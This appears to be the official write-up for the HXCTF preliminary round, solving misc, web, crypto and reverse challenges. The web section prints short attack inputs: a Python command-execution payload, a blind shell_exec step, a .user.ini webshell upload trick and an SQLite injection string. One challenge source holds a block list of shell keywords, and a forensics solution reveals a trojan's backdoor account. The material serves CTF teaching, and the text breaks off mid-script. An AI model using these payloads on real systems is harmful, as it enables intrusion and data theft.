HXCTF初赛 官方题解WP

Misc

学姐的微信在哪里呀

打开后是⼀⼤串01⼆进制,直接缩小记事本便可以得出 flag

也可以使用脚本还原图片

from PIL import Image  
import numpy as np 
#你提供的⼆进制数据( 0= ⽩, 1= ⿊) 
binary_data = ['000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000',  '000011111111111100110011110000011111110000001111111111110000',  '000011010000101100010011000000101110110000001101000010110000',  '000010000000000100000011000111100110110011001000000000010000',  '000011011111100100110011001001111111110000001101111110010000',  '000010011111100100110011011001111111110000001001111110010000',  '000010011111100100000011100001100001001111001001111110010000',  '000010011111100100000011100001100001001111001001111110010000',  '000010011111100100001111000111111001001100001001111110010000',  '000011011111100100001111000111111001001100001101111110010000',  '000010000000000100110000111000011000110000001000000000010000',  '000011000000001100110000111000011000110000001100000000110000',  '000011111111111100110011001001100110110011001111111111110000',  '000000000000000000000000110001111110000011000000000000000000',  '000000000000000000000000100001111110000011000000000000000000',  '000010011000000111001100001111100000001100000010000110010000',  '000011011000000111001100001111100000001100000110000110010000',  '000010011110000011000000000111100001111100001110011000010000',  '000011011110000011000000000111100001111100001110011000010000',  '000000100001100111000011111000011001111100110110000000010000',  '000001100001100111000011111000011001111100110010000000010000',  '000011111110011000110011000110000000111111110001111001100000',  '000011110011100000000011100110001000000000010110000001110000',  '000010000001100100001100110110011111000000001110000001110000',  '000001100111111000000011100000000110000011001110000110110000',  '000000100111111000000011100000000110000011001110000110010000',  '000000011110000111110011011111100111001100001101100000010000',  '000000011110000111110011001111100111001100001001100000010000',  '000000000110011000000000000001111110001111110010011000000000',  '000000000110011000000000000001111110001111110110011000000000',  '000001100000011111001100111111100110001100001110011110000000',  '000000100000011111101101111111100100001100001110011100000000',  '000000011001100011111111100111100000111100110010011000010000',  '000011111001100100110000011000010000111100000001100100010000',  '000011111001100100110000001000011000111100000001100110010000',  '000000000001111000001100111110000100001100111001111000010000',  '000000000001111000001100111110000110001100111101111000010000',  15 46  47  48  49  50  51  52  53  54  55  56  57  58  59  60  61  62  63  64  65  66  67  68  69  70  71  72  73  74  75  76  77  78  79  80  81  82  83  84  85  86  87  88  89  90  91  92  '000011111000011111110011111110000000111111111111100110010000',  '000011111000011111110011111110000000111111111111100110010000',  '000000000000000000111111011000011110111111000001100110010000',  '000000000000000000111111001000011100111111000001100110010000',  '000011111111111100111111011111111000110011001101111000010000',  '000011010000101100011111011111110000111111001001111000010000',  '000010000000000100001100100001100000111111000001111000000000',  '000011011111100100001111011111111111001111111111100111110000',  '000010011111100100001111011111111111001111111111100111110000',  '000010011111100100000000111001111000001100110001111110010000',  '000010011111100100000000111001111000001100110001111110010000',  '000010011111100100110000000000011001110011111001100001110000',  '000011011111100100110000000000011001110011111101100001110000',  '000010000000000100001100000001100110001111001000011000000000',  '000011000000001100001100000001100110000111001000011000000000',  '000011111111111100110000111111100111000011110110000000010000',  '000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000',  '000000000000000000000000000000000000000000000000000000000000']  
#转换为⼆维像素数组 
pixels = []  
for row in binary_data:     
         pixel_row = [0 if c == '0' else 255 for c in row]  # 0= ⽩ (0), 1= ⿊ (255)           pixels.append(pixel_row)  
#创建图像 
height = len(pixels)  
width = len(pixels[0]) if height > 0 else 0  
#使⽤numpy转换数据类型 
img_array = np.array(pixels, dtype=np.uint8)  
#创建图像并放⼤显示(每个像素放⼤ 10 倍) 
img = Image.fromarray(img_array).resize( (width * 10, height * 10),     
resample=Image.NEAREST )  
# 保存图像 
img.save("custom_qrcode.png")  print(" ⼆维码已⽣成: custom_qrcode.png")  
# 可选:直接显示图像 
img.show()

ez_隐写

打开图片,拖入随波逐流分析,binwalk 和 foremost 都分不出东西,根据题目提示,文件存在着需要逆序的内容,但图片可以正常显示,说明东西在jpg的文件头后面,010打开图片,定位文件尾,扒出来,然后010十六进制导出,然后ai写一个脚本,读取十六进制数字然后文件倒序,得到txt文档,零宽字符隐写解出

逆序脚本

str = '''
00 40 50
30 15 65 77 D1 2E 3E 26 77 04 71 7B B8 03 0E 3B
E4 47 35 6B 1C 6D 2D 2E 27 23 B1 7B 7A D8 1F 40
BC B9 C6 79 69 31 51 29 58 81 3F EE 74 9A 8A AE
DC EA 22 0F 84 7A B6 D4 34 3F 26 8D 2C 1C 80 B3
E7 85 62 9D 0F 40 7F 10 50 6D 37 E7 9E B7 72 32
51 8F 10 25 31 7F ED BB D7 A9 46 68 16 2C 4E 19
7E 3D 39 BC 8E 2C 88 70 59 59 2D A1 58 A8 0F 4D
14 C8 E5 C3 A5 30 F4 D5 9E 25 7C E8 02 98 0A 0D
58 87 A2 F8 24 E4 40 57 F2 33 45 02 78 B1 6C 10
BD CB AF 3C 08 EA 37 20 30 A0 47 87 47 E2 76 16
C6 66 80 00 30 08 D5 21 92 D0 02 40 39 40 10 A8
B0 30 20 42 BB 9B 2B 40 00 08 08 08 10 10 60 00
70 50 10 B0 BE 28 1E 3F 00 10 70 A1 12 27 16 25
'''
print(''.join(reversed(str)))

f4k3ctr0n1c的旅行

加我qq,翻空间2025年1月1号蛋糕上就是 flag

f4k3ctr0n1c的旅行-1

识图一把梭

f4k3ctr0n1c的旅行-2

识图,简单找找可以找到这是北展,再找找能找到歌手,有另一个简单的解法是可以在我qq资料标签找到。然后搜北展陈鸿宇演唱会就能找到时间,看图片可以定位到第七排

f4k3ctr0n1c的旅行-3

根据航站楼特点或出题人自身定位到首都机场,题面提示牛油火锅,目的地查川渝即可。图片信息可知时间应在冬天11月到3月前,但是说了24年初,就是1-3月,下午12-4点,根据图片能确定飞机注册编号,根据注册编号和从图片以及题目中判断出来的大致日期时间与始发地,在 flightera.net 按注册编号检索,查找对应时间即可

测测我的马-1

解法很多,比如流量包中分析流量包,找到244号包POST了一个包,有个log参数,是base64,解码发现是{'time':'2025-02-18T14:47:43.727706','hostname':'DESKTOP-VBRA7O5','user':'admin','ip':'61.139.2.129','os':'Windows-10-10.0.19045-SP0},是一个主机的基本信息,继续跟进,254号包又发现shellconnected字样,后面这两个ip又有一堆命令交互,基本就确认了,发出命令的是peppermint的ip,回应的肯定就是f4k3ctr0n1c了。

测测我的马-2

流量包ctrl+F搜就有,这题出了上题其实也可以出了,解法很多。

测测我的马-3

流量包分析明文shell流量交互可以得知在C:\创建了一个目录Temp后写入的 hack.txt,也可以通过内存取证找,例如 Autopsy,DiskGenius 之类的,按照应急流程排查思路,在低权目录找

测测我的马-4

Autopsy挂载镜像,OSAccounts 中发现新增用户 w1nh4ck3r,解法仍然很多

测测我的马-5

入侵排查基础思路,Autopsy挂载去看计划任务,C:\Windows\System32\Tasks,发现可疑任务WindowsUpdate,点开详细信息发现

C:\Users\Public\Downloads\svchost.exe

C:\Users\admin\AppData\Local\Temp\_MEI39842\mal.py

C:\Users\Public\Downloads\svchost.exe即为答案,解法还是很多

测测我的马-6

预期解是:Autopsy 提取 svchost.exe 出来,发现是基于 pyinstaller 打包的,解包得到 mal.pyc,uncompyle6 和 decompyle3 都不支持3.13,只能看hex,010打开审计,发现1010h附近有疑似创建用户的操作,上面还有一串base64,直接转,发现

netuserw1nh4ck3rP@ssw0rd!̀½…‘2bbæWBÆö6Æw&÷WF֖æ—7G&F÷'2sæƒF6³2öF@

w1nh4ck3r是刚才创建的用户名,那P@ssw0rd!肯定是密码

我不喜欢的非预期解是:

导出svchost.exe,云沙箱一把梭

我更不喜欢的非预期解是:

取证大师/火眼一把梭

*应该也能用mimikatz做,但出题人实在是没精力测试了,滑跪

**师傅们的题解还真挺多去抓hash的,好厉害!

Web

玩玩你的机-1

subprocess.getoutput('ls'),解法太多了,签到说是

玩玩你的机-2

getattr(__import__(''.join([chr(111),chr(115)])),''.join([chr(115),chr(121),chr(115),chr(116),chr(101),chr(109)]))('ls'),解法仍然很多

ez_md5

<?php
error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['a'];
$b=$_GET['b'];
if (!($a!==$b && md5($a)===md5($b))){
    die('回家吧孩子');
}

$c=(string)$_POST['c'];
$d=(string)$_POST['d'];
if (!($c!==$d && md5($c)==md5($d))){
    die('稍微加点料');
}

$love=(string)$_POST['love'];
$ctf=(string)$_POST['ctf'];
if ($love!==$ctf && md5($love)===md5($ctf)){
    echo '都写到这里了,自己去拿flag吧';
    shell_exec($_POST['shell']);
}

常见的md5绕过套路题,第一层构造构造数组进行绕过,第二层通过构造0e字符串(md5之后),第三层md5强碰撞,用fastcoll就行。最后一步shell_exec无回显,写个文件重定向就可以

访问1.txt就可以拿到flag

新人来爆照

文件上传,首先确定能上传的文件类型。通过浏览器查看网页源码

先不着急上传一句话木马,传个正常图片看看

可以发现是nginx服务,排除掉 .htaccess 的写法。并且在上传路径处存在php文件,这里一些师傅应该会很快想到利用 .user.ini,具体解释可以去看这一篇文章

浅析.htaccess和.user.ini文件上传 - FreeBuf网络安全行业门户

这题如果你可以先上传图片马,记录上传路径,然后再利用 .user.ini 配合图片马来getshell;也可以不配合图片马,直接auto_prepend_file=.user.ini(自己加载自己)也可以上马

每日任务

任务一:

任务二:

这里似乎卡住了不少师傅,题目给出的hint代码是php的写法,反映到请求体上是不一样的,要去掉HTTP,并且把_改成-才行

任务三:

这里涉及到php特性,利用科学计数法,不过是要求版本<7.2.5

任务四:

php特性中的命名规则,由于变量名中不能有.号,会强制转换成_,这里可以利用[,如果参数中出现了[,那么会将其转化为_,但是会出现转化错误,导致后面的参数名中,如果还有.号,那么将不会被转化

任务五:

随便输完ma和gic的值之后就会给提示需要gic绕过pre_match,直接数组绕过就行了。最后解码base64即可

表白墙

十分经典的flask模版注入

这题看到写法很多,拼接、编码绕过、进制绕过、fenjing一把梭等

给payload好像没什么意思,扔个链接新生们自己去学吧

SSTI 注入 - Hello CTF

随便输

from flask import Flask, request, render_template_string
import socket
import threading
import re

app = Flask(__name__)

blacklist = ['/', 'flag', 'cat', '+', 'base', 'attr', 'before_request', 'setdefault',
             'cycler', 'set', 'ls', 'response', 'eval', 'chmod', 'session', 'format',
             'self', 'mro', 'subclasses', 'chr', 'ord', 'config', 'getitem', 'teardown',
             'module', '__init__', '__loader__', '_request_ctx_stack', 'string', 'cp',
             '_update', 'add', 'after_request', 'system', 'open','socket', '*', '?', '>',
             'mv', 'file', 'write', 'env', 'join', 'static', '@', 'sleep','urllib']

@app.route('/')
def index():
    return "这里没有flag"

@app.route('/challenge', methods=['POST'])
def rce():
    cmd = request.form.get('try', '')
    for word in blacklist:
        pattern = r'(^|[^\w]){}([^\w]|$)'.format(re.escape(word))
        if re.search(pattern, cmd):
            return "执行失败"

    return '执行成功' if render_template_string(cmd) is not None else '?'

class HTTPProxyHandler:
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

    def handle_request(self, client_socket):
        try:
            request_data = b""
            while True:
                chunk = client_socket.recv(4096)
                request_data += chunk
                if len(chunk) < 4096:
                    break

            if not request_data:
                client_socket.close()
                return

            with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
                proxy_socket.connect((self.target_host, self.target_port))
                proxy_socket.sendall(request_data)

                response_data = b""
                while True:
                    chunk = proxy_socket.recv(4096)
                    if not chunk:
                        break
                    response_data += chunk

            header_end = response_data.rfind(b"\r\n\r\n")
            if header_end != -1:
                body = response_data[header_end + 4:]
            else:
                body = response_data

            response_body = body
            response = b"HTTP/1.1 200 OK\r\n" \
                       b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
                                                                                b"Content-Type: text/html; charset=utf-8\r\n" \
                                                                                b"\r\n" + response_body

            client_socket.sendall(response)
        except Exception as e:
            print(f"Proxy Error: {e}")
        finally:
            client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
    proxy_handler = HTTPProxyHandler(target_host, target_port)
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socket.bind((host, port))
    server_socket.listen(100)
    print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

    try:
        while True:
            client_socket, addr = server_socket.accept()
            print(f"Connection from {addr}")
            thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
            thread.daemon = True
            thread.start()
    except KeyboardInterrupt:
        print("Shutting down proxy server...")
    finally:
        server_socket.close()

def run_flask_app():
    app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
    proxy_host = "0.0.0.0"
    proxy_port = 5001
    target_host = "127.0.0.1"
    target_port = 5000

    proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
    proxy_thread.daemon = True
    proxy_thread.start()
    run_flask_app()

给出了源码,不知道有没有师傅觉得熟悉,这里的代码借鉴了24年ciscn的一道题,防止反弹shell,然后代码逻辑制造无回显,并且我额外添加了对目录权限的限制,防止通过写静态目录的方式绕过无回显,目的是想让大家去了解一下内存马,通过打内存马来getshell

这里给下我原本的预期解吧,在不考虑绕过黑名单写法下,通过触发404状态码,利用errorhandler这个装饰器打入内存马

原理的话,扔个链接

分类:专项 | Peppermintの小窝 = 笔记小破站 = persistence

[测测你的🐎]

题目给的上传waf是白名单,也仅可上传html后缀文件,所以只好乖乖上传html后缀,但明显是不能getshell的,那么这个题看起来就是没法做的,但是我页面里给了个提示

<!-- $wafPath = "./waf/waf.php";
if (!file_exists($wafPath)) {
echo ("waf是什么,根本不需要;渗透测试结束,系统一切安全~");
function waf($fileName)
{
return false; // 确实很安全
}
} else {
include $wafPath;
} -->

可能刚开始是get不到这个点的,因为我在写上传文件逻辑的时候顺便把index.php复制了一份到你上传的目录下,当然后面也提示了当前目录是否多了东西,按说没思路再扫下目录应该就出来了~

复制之后上面的waf逻辑就会因为相对路径的写法自动失效,然后你就可以在传html的目录下通过复制的index.php再次上传,然后就拿下咯

这题可能看起来奇奇怪怪的,但是ctf我觉得就是不该套路化,好玩的脑洞也得有;但其实话又说回来因为相对路径产生漏洞的实战场景还是很多的,我这就浅浅创造一个low的场景了

我们一起来下棋

ctrl+u查看源码可得flag

ez_upload

上传图片之后访问路径,发现参数name=,开始注入,sqlite注入的语法和mysql的有点差别,编写payload

1.jpg' union SELECT secret,secret FROM 'flag' WHERE id = 1--+'

Crypto

送你弗莱格

一眼摩斯密码,发现“嘀”总是单独出现,猜测是空格,“滴”是“.”,“嗒”是“-”。

写个脚本替换一下:

cipher = "滴滴滴滴嘀嗒滴滴嗒嘀嗒滴嗒滴嘀嗒嘀滴滴嗒滴嘀嗒嗒嗒嗒滴嗒嗒嘀嗒嗒嘀嗒嗒嗒嘀滴嗒滴嘀滴滴滴嘀滴嘀滴滴嗒嗒滴嗒嘀嗒滴嗒滴嘀嗒嗒嗒嘀嗒滴滴嘀滴嘀滴滴嗒嗒滴嗒嘀滴滴嘀滴滴滴嘀滴滴嗒嗒滴嗒嘀滴滴嗒滴嘀滴滴嗒嘀嗒滴嘀嗒滴嘀嗒滴嗒嗒嘀嗒嗒嗒嗒嗒滴嗒"
convet = ""
for c in cipher:
    match c:
        case "滴":
            convet += "."
        case "嘀":
            convet += " "
        case "嗒":
            convet += "-"
print(convet)
# .... -..- -.-. - ..-. ----.-- -- --- .-. ... . ..--.- -.-. --- -.. . ..--.- .. ... ..--.- ..-. ..- -. -. -.-- -----.-

Classic

注意到密文分三字节一组,每组开头都是e5,e6,猜测是UTF-8编码:

c = "e585ace6ada3e887aae794b1e585ace6ada3e69687e6988ee5928ce8b090e585ace6ada3e585ace6ada3e69687e6988ee5928ce8b090e69687e6988ee585ace6ada3e5b9b3e7ad89e5928ce8b090e887aae794b1e5928ce8b090e6b395e6b2bbe585ace6ada3e5928ce8b090e5928ce8b090e695ace4b89ae5928ce8b090e69687e6988ee5928ce8b090e585ace6ada3e585ace6ada3e585ace6ada3e5928ce8b090e887aae794b1e5928ce8b090e5af8ce5bcbae5928ce8b090e5928ce8b090e585ace6ada3e585ace6ada3e5928ce8b090e5af8ce5bcbae5928ce8b090e69687e6988ee585ace6ada3e6b091e4b8bbe585ace6ada3e5b9b3e7ad89e5928ce8b090e695ace4b89ae585ace6ada3e69687e6988ee585ace6ada3e6b091e4b8bbe585ace6ada3e585ace6ada3e5928ce8b090e5af8ce5bcbae5928ce8b090e5928ce8b090e5928ce8b090e6b091e4b8bbe585ace6ada3e887aae794b1e5928ce8b090e6b395e6b2bbe5928ce8b090e69687e6988ee585ace6ada3e6b091e4b8bbe585ace6ada3e6b091e4b8bbe5928ce8b090e6b091e4b8bbe585ace6ada3e6b091e4b8bbe5928ce8b090e6b091e4b8bbe5928ce8b090e585ace6ada3e5928ce8b090e5af8ce5bcbae585ace6ada3e585ace6ada3e585ace6ada3e5928ce8b090e5928ce8b090e5928ce8b090e5928ce8b090e788b1e59bbd"
c = bytes.fromhex(c)
print(c.decode())
公正自由公正文明和谐公正公正文明和谐文明公正平等和谐自由和谐法治公正和谐和谐敬业和谐文明和谐公正公正公正和谐自由和谐富强和谐和谐公正公正和谐富强和 谐文明公正民主公正平等和谐敬业公正文明公正民主公正公正和谐富强和谐和谐和谐民主公正自由和谐法治和谐文明公正民主公正民主和谐民主公正民主和谐民主和谐 公正和谐富强公正公正公正和谐和谐和谐和谐爱国

然后社会主义核心价值观解码得:

db6b2e47c926f403f02ae9baf031d72aa1a160fc38

根据题目描述,猜测是仿射加密,所以爆破密钥:

cipher = "db6b2e47c926f403f02ae9baf031d72aa1a160fc38"
cipher = bytes.fromhex(cipher)
for a in range(1, 256, 2):
    for b in range(0, 256):
        flag = ""
        for c in cipher:
            flag += chr((a*c + b) % 256)
        if flag.startswith("HXCTF{"):
            print(flag)

base^{16}

这题主要是想让大家写脚本,稍微试试可以发现是交替的base64和base91,循环了16轮:

import base91
import base64
f = open(r"enc.txt", "rb")
cipher = f.read()
f.close()
for _ in range(16):
    cipher = base91.decode(cipher.decode())
    cipher = base64.b64decode(cipher)
print(cipher)

ezRSA

从后往前递归恢复p就行。

假设和已经知道p,q的后k bits,然后枚举p的后第k+1个比特,通过下式恢复q的后第k+1一个比特:

$$q_k=p_k\oplusleak_k$$

然后检查是否满足:

$$((q_{k+1}<<k)+q_{lsb})((p_{k+1}<<k)+p_{lsb})\equivn\mod2^{k+1}$$

exp.py:

from Crypto.Util.number import *
c = 20581338524773710931014796705060927721164022110933170236907622868446276673276379960074983874694013071501404205921712458516719528791313217075372120292540769607768267213148470047192533783356651951103773544607365700830304720348095357381720861732062131428306950367835186817770742714377511664088124921726109762611
n = 131955690538161673663979223798074678499726259420694182793841613919440640794173261722991102718429029438380697505701015619452283142119487944084622078736557807531823541140258838261464844922518316272881433984179091296264635187662962573084675257499354062781067172877584482339564742280505536614114067794677477277487
leak = 2854831492248561377973114517344274987491834433439026310389937614171692082857812555747188089670141576752295596881129854180086210600895683598247563627762686
def recover(p_lsb, k):
    if k == 512:
        return [p_lsb]
    result = []
    for bit in range(2):
        p = (bit << k) + p_lsb
        q = leak ^ p
        if (p*q - n) % (2**(k+1)) == 0:
            result.extend(recover(p, k+1))
    return result
result = recover(0, 0)
for res in result:
    if n % res == 0:
        p = res
        break
q = n // p
d = pow(65537, -1, (p - 1) * (q - 1))
m = pow(c, d, p * q)
print(long_to_bytes(m))

WeakSystem

密文空间大小只有$$A_8^8$$,所以直接枚举key就行:

from itertools import permutations, product
cipher = [9, 25, 35, 81, 97, 187, 195, 131, 179, 155, 123, 195, 233, 163, 177, 155, 145, 209, 235, 123, 115, 137, 131, 209, 123, 163, 131, 233, 123, 11, 123, 179, 131, 155, 219]
key = [i for i in range(8)]
all_key = list(permutations(key))
for key in all_key:
    flag = ""
    for i in range(len(cipher)):
        binc = [int(b) for b in bin(cipher[i])[2:].zfill(8)]
        c_ = [binc[key[j]] for j in range(8)]
        c = 0
        for j in range(len(c_)):
            c <<= 1
            c ^= c_[j]
        flag += chr(c)
    if flag.startswith("HXCTF{"):
        print(flag)

WeirVierWilson

这题就考了一个威尔逊定理,看题名也能猜到。

为了加速这个循环,主要用到了下面这个等式:

$$(p-1)!\equiv-1\modp$$

所以实际上只需要遍历:

for i in range(p + 1, p + p.bit_length())

就可以求出私钥,然后就是一个简单的RSA解密。

exp.py:

from Crypto.Util.number import *

prime = 137507368993355914860594752037581031045352928887415381942526303684476934340258890988567168982905997088929819580321685527266991589958746449618579850907765883870406926066972236505061792661515022699471025570619211456282127086268577930799928025034487476640164726617790269194813768322066680097473281637077598071503
n = 135682573094891703553176370837232897617602270323588124823165101627726795394883393432665305493991941306105477252624327158129510957489322126803110534374827392252943932529899808378499467893344818778838011561390030105276983196848035629485680341851450845219061424892927388790415769446019942364106200260533601837319
cipher = 41622954513604406352873105855005440904638036223332018757506281634908104215433400850153277514829103000815542937837390595177169806358970750719651237435525099636604205350232352002592510801557603418471900545470844050105254021489131546373444583233001627136018732688443852250808321663559410660967027997290818817259

d = -1
for i in range(prime + 1, prime + prime.bit_length()):
    d = (d * i) % prime

m = pow(cipher, d, n)
print(long_to_bytes(m))

babysign

这题考的是DSA线性k攻击。但其实网上很多文章,直接拷打AI也能出。。。

DSA在每次签名过程中必须要选一个随机数k来保证私钥x不会泄露,而这里用的随机数生成器是LCG是线性的,不够随机。

具体利用方法如下:

根据DSA签名的等式,可以获取下面两组签名:

$$\begin{gather}s_1\equiv(H(m)+xr_1)k_1^{-1}\modq\\s_2\equiv(H(m)+xr_2)(ak_1+b)^{-1}\modq\end{gather}$$

这里面只有x,k1两个未知数,直接解方程就能得到x,然后就可以伪造签名了。

选手可以自己推导解的表达式,这里我使用了sage的solve函数,不过对于这种简单的方程组,groebner_basis应该是最简单的。

exp.py:

from pwn import remote, process
from Crypto.Util.number import *
from hashlib import md5
a = 0xe4b39d062f5eaffe04fd8c302b8f956a43264ead
b = 0xb703a3ec8c6a9520e77d6bb14220abfde7d12dc6        
io = remote("43.139.51.42", 32838)
io.recvuntil(b"This is my pubkey: ")
p, q, g, y = eval(io.recvline().decode())
io.recvuntil(b"[+]: ")
io.sendline(b"hijack")
msg1, r1, s1 = eval(io.recvline().decode())
msg1 = bytes.fromhex(msg1)
Hm1 = bytes_to_long(md5(msg1).digest())
io.recvuntil(b"[+]: ")
io.sendline(b"hijack")
msg2, r2, s2 = eval(io.recvline().decode())
msg2 = bytes.fromhex(msg2)
Hm2 = bytes_to_long(md5(msg2).digest())

x, k = var("x, k")
f1 = s1*k - Hm1 - x*r1
f2 = s2*(a*k + b) - Hm2 - x*r2
k_ = solve(f1, k)[0].right()
x = GF(q)(solve(f2(k=k_), x)[0].right())

io.recvuntil(b"[+]: ")
io.sendline(b"verify")
io.recvuntil(b"[+]: ")
msg = b"faritree"
Hm = bytes_to_long(md5(msg).digest())
k = 1111
r = pow(g, k, p) % q
s = (Hm + x * r) * pow(k, -1, q) % q
signature = msg.hex() + "," + str(r) + "," + str(s)
io.sendline(signature.encode())
print(io.recvline())
print(io.recvline())
io.close()

ezDecision

这题需要我们区分F1和F0生成的矩阵,可以发现F1生成的矩阵的行列式只与M有关,而M的行列式比较小,所以可以根据矩阵的行列式来判断。需要注意一下这里的矩阵是modq下的矩阵,所以比较小的值表现为接近0或者接近q。

exp.sage:

with open("data.txt", "r") as f:
    M = eval(f.readline())
    p = int(f.readline())
flag = 0
for m in M:
    mat = matrix(ZZ, [m[0:3], m[3:6], m[6:9]])
    tmp = mat.det() % p 
    flag <<= 1
    if tmp > p - 10000 or tmp < 10000:
        flag ^^= 1
    else:
        flag ^^= 0
print(long_to_bytes(flag))

ezOTP

这题实现了一个魔改的RC4,没有密钥,但是可以发现在swap部分并不是真的交换,而是对值进行了同化,所以猜测在加密后部分时Sbox中的值全都一样,所以可以枚举Sbox,获取LCG的后面几个输出,然后恢复LCG,得到AES的密钥。

exp.sage:

import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

class LCG():
    def __init__(self, a, b, s):
        self.a = a
        self.b = b
        self.state = s
    
    def next(self):
        self.state = (self.a * self.state + self.b) % (2**128)
        return self.state

with open("enc.txt", "r") as f:
    enc = eval(f.readline())
    cipher = eval(f.readline())
    
total = len(data)
for sbox in range(256):
    data = [sbox^^c for c in enc]
    n = 5
    output = []
    for i in range(n):
        U128 = data[total - 16*(i + 1) : total - 16*i]
        U128 = sum([U128[i] << 8*(15 - i) for i in range(16)])
        output = [U128] + output
    # print(output)
    PR.<a, b, s> = PolynomialRing(Zmod(2**128))
    x = [s]
    for i in range(n-1):
        x.append(a*x[-1] + b)
    I = PR.ideal([x[i] - output[i] for i in range(n)])
    a, b, s = I.groebner_basis()[:3]
    a = 2**128 - a.constant_coefficient()
    b = 2**128 - b.constant_coefficient()
    s = 2**128 - s.constant_coefficient()
    lcg = LCG(a, b, s)
    [lcg.next() for _ in range(n-1)]
    key = lcg.next()
    flag = AES.new(int(key).to_bytes(16, "big"), mode=AES.MODE_ECB).decrypt(cipher)
    if flag.startswith(b"HXCTF"):
        print(flag)
        break

lfsr

很常规的lfsr破解。

lfsr在生成随机数的过程中,一直在维护一个状态,这个状态由128个比特构成,我们可以把它记作:

$$\mathbf{state}=(s_1,s_2,\cdots,s_{128})$$

加密过程还需要一个掩码mask,我们记作:

$$\mathbf{mask}=(m_1,m_2,\cdots,m_{128})$$

然后将这两个向量作内积,得到的就是输出比特,要注意这里的运算是在$$GF(2)$$上进行的(可以简单的理解为所有运算都要模2,保证数据只有1比特的大小)。那么新的状态可以表示为:

$$\mathbf{state}^{'}=(s_2,s_3,\cdots,s_{128},\mathbf{state}\cdot\mathbf{mask}^T)$$

我们可以把它写作矩阵形式:

$$\mathbf{state}^{'}=\mathbf{state}\begin{pmatrix}&&&&m_1\\1&&&&m_2\\&1&&&m_3\\&&\ddots&&\vdots\\&&&1&m_{128}\end{pmatrix}$$

将这个矩阵作用128次后得到的状态,就是lfsr的连续128比特的输出,即:

$$\mathbf{output}=\mathbf{state}\begin{pmatrix}&&&&m_1\\1&&&&m_2\\&1&&&m_3\\&&\ddots&&\vdots\\&&&1&m_{128}\end{pmatrix}^{128}$$

所以有了$$\mathbf{output}$$后,只需要右乘一个矩阵逆原就可以恢复初始状态,从而得到seed。

exp.sage:

from Crypto.Util.number import *
from Crypto.Cipher import AES
enc = b'\x81H\xd7_\x1c[\x00\xffkX+\x8d\n(-(U\xcd\x13$u\xa1\xceY.\x97\xfd8\x90\x07\xf5\x92'
output = 46569537592563541192266548905767353620
mask = 288869314699467157022235107404330039071

mask_matrix = matrix([int(i) for i in bin(mask)[2:].zfill(128)])
M = zero_matrix(GF(2), 1, 127).stack(identity_matrix(127)).augment(mask_matrix.T)
output_vec = vector([int(i) for i in bin(output)[2:].zfill(128)])
seed_vec = output_vec*(M^(-128))
seed = 0
for s in seed_vec:
    seed <<= 1
    seed ^^= int(s)
cipher = AES.new(long_to_bytes(seed), AES.MODE_ECB)
cipher.decrypt(enc)

Reverse

签到-flower

考点:简单的花指令 elf文件的动调

具体解法看:

2025HXCTF-WP | D0wnBe@t

这里给出EXP:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(void){
    srand(0xdeadbeaf);
    unsigned char a[] = {   0x19, 0x00, 0x00, 0x00, 0x32, 0x00, 0x00, 0x00, 0x7D, 0x00,         0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00,    
    0x24, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x62, 0x00,    
    0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x00,    
    0x4C, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x1C, 0x00,    
    0x00, 0x00, 0x2B, 0x00, 0x00, 0x00, 0x76, 0x00, 0x00, 0x00,    
    0x22, 0x00, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x2A, 0x00,    
    0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00,    
    0x5D, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x7C, 0x00,    
    0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00,    
    0x2A, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x6B, 0x00,    
    0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x3B, 0x00, 0x00, 0x00,    
    0x44, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 0x3A, 0x00,    
    0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00,    
    0x09, 0x00, 0x00, 0x00, 0x35, 0x00, 0x00, 0x00, 0x73, 0x00,    
    0x00, 0x00, 0x4E, 0x00, 0x00, 0x00, 0x2F, 0x00, 0x00, 0x00,    
    0x56, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x7F, 0x00,0x00, 0x00 };
    for(int i = 0; i < sizeof(a)/sizeof(a[0]) ; i+=4){
           int num = rand() % 128;                                 
           printf("%c" , a[i] ^ num);
    }
}    

Tea?

考点:动态调试 IAT_hook Tea算法 RC4算法

具体解法参考:2025HXCTF-WP | D0wnBe@t

初始其实是一个Tea算法加密,但是给轮循环展开了,delta不变(可以看汇编代码),轮数16,key的计算就是简单的异或,可以写脚本也可以直接动调出

这里给出Tea的解密脚本:

#include <stdio.h>
#include <string.h>
#include <stdint.h>

void to_ascii(uint32_t n){
    printf("%c%c%c%c" , n & 0xff
                      , (n>>8) & 0xff
                      , (n>>16) & 0xff
                      , (n>>24) & 0xff);
}
// TEA 加密:v 为长度为 2 的 uint32_t 数组,key 为长度为 4 的 uint32_t 数组
